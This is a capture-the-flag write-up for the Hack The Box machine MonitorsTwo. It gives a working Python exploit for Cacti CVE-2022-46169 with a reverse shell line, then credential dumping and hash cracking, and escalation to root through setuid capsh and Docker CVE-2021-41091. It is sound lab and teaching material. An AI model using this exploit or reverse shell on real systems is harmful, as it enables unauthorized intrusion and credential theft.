MonitorsTwo Writeup

02 September 2023 #CTF #HTB #box #easy #linux

monitors2 info

Enumeration

nmap

$ sudo nmap -T4 -sC -sV 10.10.11.211
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

Going to the website, we get the login page for Cacti (network monitoring software):

cacti login

The version is 1.2.22 which is vulnerable to CVE-2022-46169, an unauthenticated remote code execution.

Foothold

The code execution happens in /remote_agent.php. This endpoint requires authentication but can be bypassed by specifying a X-Forwarded-For header:

denied access

Let's add the header with the loopback address:

x-forwarded-for header

The parameter vulnerable to command injection is poller_id. To execute the command, we need to find valid values for the host_id and local_data_ids parameters.

Let's write a dirty python script to do this:

#!/usr/bin/env python3

import requests

HEADERS = {"X-Forwarded-For": "127.0.0.1"}

payload = ";bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'"

with requests.Session() as session:
    session.headers.update(HEADERS)

    for host_id in range(1, 10):
        for local_data_ids in range(1, 10):
            print(f"\rtrying host_id={host_id} and local_data_ids={local_data_ids}", end='')
            url = f"http://10.10.11.211/remote_agent.php?action=polldata&poller_id={payload}&host_id={host_id}&local_data_ids[]={local_data_ids}"
            session.get(url)

Let's run it:

$ ./cacti-rce.py
trying host_id=1 and local_data_ids=6

We get a hit with host_id=1 and local_data_ids=6.

Privesc

Docker Escape

It looks like we are in a docker container. We can confirm this by listing the root:

www-data@50bca5e748b0:/var/www/html$ ls -Al /
total 292
-rwxr-xr-x   1 root root      0 Mar 21 10:49 .dockerenv
drwxr-xr-x   1 root root   4096 Mar 22 13:21 bin
[...]

There is indeed a .dockerenv file.

We should harvest the web directory for creds. Let's first find all config files:

www-data@50bca5e748b0:/var/www/html$ find . -type f -ls 2>/dev/null | grep -i conf
     6300     36 -rw-rw-r--   1 www-data www-data    33929 Aug 14  2022 ./include/fa/js/conflict-detection.js
     6301     16 -rw-rw-r--   1 www-data www-data    13502 Aug 14  2022 ./include/fa/js/conflict-detection.min.js
     6461      4 -rw-rw-r--   1 www-data www-data      592 Aug 14  2022 ./include/fa/svgs/brands/confluence.svg
   410551      8 -rw-rw-r--   1 www-data www-data     5274 Aug 14  2022 ./include/vendor/csrf/csrf-conf.php
     6268      8 -rw-rw-r--   1 www-data www-data     5147 Dec 12 11:20 ./include/config.php
     5959    108 -rw-rw-r--   1 www-data www-data   108268 Aug 14  2022 ./docs/images/graphs-edit-nontemplate-configuration.png
     5630      4 -rw-rw-r--   1 www-data www-data     2220 Aug 14  2022 ./docs/Cacti-SSL-Configuration.html
     5734      4 -rw-rw-r--   1 www-data www-data     2133 Aug 14  2022 ./docs/apache_template_config.html

We can get the DB creds in ./include/config.php:

[...]
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port     = '3306';
[...]

The MySQL DB is in another container. We can access it and dump the user_auth table inside the cacti database:

www-data@50bca5e748b0:/var/www/html$ mysql -h db -u root -proot
[...]
MySQL [cacti]> SELECT username,password FROM user_auth;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| guest    | 43e9a4ab75570f5b                                             |
| marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)

These are bcrypt hashes so if you don't have a dedicated cracking rig, it's going to take a few minutes:

$ hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --user
[...]
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey
[...]

I put username:hash in my hashes file so I need the --user flag.

We can SSH in as marcus.

Marcus to root

When we login, we see that we have mail:

[...]
You have mail.
Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40
marcus@monitorstwo:~$

It is talking about 3 CVEs. The one we care about is the one affecting Moby (Docker).

marcus@monitorstwo:~$ cat /var/spool/mail/marcus
[...]
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization.[...]
[...]

This vulnerability allows unprivileged users (not in the docker group) to access and execute programs located in the /var/lib/docker directory.

Let's go back inside the cacti container and look for setuid binaries:

www-data@50bca5e748b0:~$ find / -type f -user root -perm -u=s -ls 2> /dev/null
[...]
5431 32 -rwsr-xr-x 1 root   root   30872 Oct 14  2020 /sbin/capsh
[...]

capsh is not a default setuid executable and can be used to get a root shell:

www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Let's run the mount command to find out the name of a directory in /var/lib/docker:

root@50bca5e748b0:/var/www/html# mount
overlay on / type overlay (rw,relatime,[...]upperdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff,[...]

We'll use the one that ends with /diff (I don't know of a better way to do this). Going back to the host, let's see if we can list the contents of the directory:

marcus@monitorstwo:~$ ls -Al /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff
total 240
drwx------ 2 root root   4096 Mar 21 10:50 root
drwxr-xr-x 3 root root   4096 Nov 15 04:17 run
drwxrwxrwt 2 root root 221184 May 11 12:12 tmp
drwxr-xr-x 3 root root   4096 Nov 15 04:13 var

Nice, we have a few directories available. To get root on the host, we'll copy /bin/bash (in the cacti container) to /tmp and set it as setuid:

root@50bca5e748b0:/var/www/html# cp /bin/bash /tmp
root@50bca5e748b0:/var/www/html# chmod u+s /tmp/bash

Now we should be able to execute it from the host as marcus:

marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff/tmp/bash -p
bash-5.1# whoami
root

Don't forget to use the -p flag to preserve the setuid permissions.

Key Takeaways